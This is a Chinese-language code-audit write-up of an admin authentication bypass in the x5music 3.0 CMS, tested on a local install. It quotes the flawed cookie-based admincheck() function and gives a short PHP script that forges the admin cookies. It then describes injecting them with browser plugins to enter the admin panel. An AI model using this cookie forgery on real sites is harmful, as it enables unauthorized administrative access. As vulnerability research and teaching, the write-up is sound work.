x5music3.0后台权限绕过审计
环境搭建
https://pan.baidu.com/s/1lDhkA_59Vcc3MnM2lsmlxg?pwd=e9jc
- x5music v3.0
- Apache
- php 5.5.38
- mysql 5.5.53
审计分析
- 首先登录看看管理员页面,后台地址是 http://127.0.0.1/cms/x5music3.0/x5admin/admin_index.php
- 接着我们注销管理员账号,再次访问 http://127.0.0.1/cms/x5music3.0/x5admin/admin_index.php,提示我们重新登录,说明这些管理员的页面肯定是有一些鉴权的函数的(废话肯定有啊),接着我们跟进到代码层去找到那个鉴权函数,看看是否能绕过,使得我们不知道管理员密码也能登录管理员账号
- 既然后台是/x5admin/admin_index.php 路径,那么我直接看admin_index.php文件,寻找鉴权的逻辑或函数
发现这个admincheck()很可疑啊
在/x5admin/目录下的多个文件都有admincheck()函数,那么它多半就是后台的鉴权函数了
- 跟进admincheck()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function admincheck($value) { if(empty($_COOKIE['CD_AdminID']) || empty($_COOKIE['CD_Login']) || $_COOKIE['CD_Login']!==md5($_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission'])) { showmessage("出错了,登录已过期,请重新登录!", "admin_login.php", 0); } if(!empty($_COOKIE['CD_Permission'])) { $array=explode(",", $_COOKIE['CD_Permission']); $adminlogined=false; for($i=0; $i<count($array); $i++) { if($array[$i]==$value) { $adminlogined=true; } } if(!$adminlogined) { showmessage("出错了,您没有进入本页面的权限!", "", 2); } } else { showmessage("出错了,您没有进入本页面的权限!", "", 2); } }
|
可以看到逻辑其实挺简单的,只需满足:
1 2
| $_COOKIE['CD_AdminID']),$_COOKIE['CD_Login']不为空 $_COOKIE['CD_Login']的值等于:"$_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission']"几个值拼接后的MD5值,就能过第一个验证判断
|
1 2 3 4
| $_COOKIE['CD_Permission'])不为空,进入第二个判断 分割取$_COOKIE['CD_Permission']的值 遍历$_COOKIE['CD_Permission']中分割后的值,让每一个值都等于admincheck()传入的值$value 这样$adminlogined就为true了,标识我们已经登录为了管理员
|
构造payload
其实只需要:
1 2
| $_COOKIE['CD_AdminID']),$_COOKIE['CD_Login'],$_COOKIE['CD_Permission'])不为空,其他值没有判空不用管 $_COOKIE['CD_AdminID'])设为1,$_COOKIE['CD_Permission'])设为1,$_COOKIE['CD_Login']等于它们拼接后的md5值
|
写个脚本:
1 2 3 4 5 6 7
| <?php error_reporting(0); $_COOKIE['CD_AdminID'] = 1; $_COOKIE['CD_Permission'] = '1'; $_COOKIE['CD_Login'] = md5($_COOKIE['CD_AdminID'] . $_COOKIE['CD_AdminUserName'] . $_COOKIE['CD_AdminPassWord'] . $_COOKIE['CD_Permission']); echo "cookie:CD_AdminID={$_COOKIE['CD_AdminID']};CD_Permission={$_COOKIE['CD_Permission']};CD_Login={$_COOKIE['CD_Login']}"; ?>
|
漏洞触发
使用hackbar,填入构造好的Cookie,访问后台地址
成功进入后台!
但是一刷新就没有登录状态了,可以使用谷歌Modheader插件把Cookie固定一下,这样刷新也不会退出了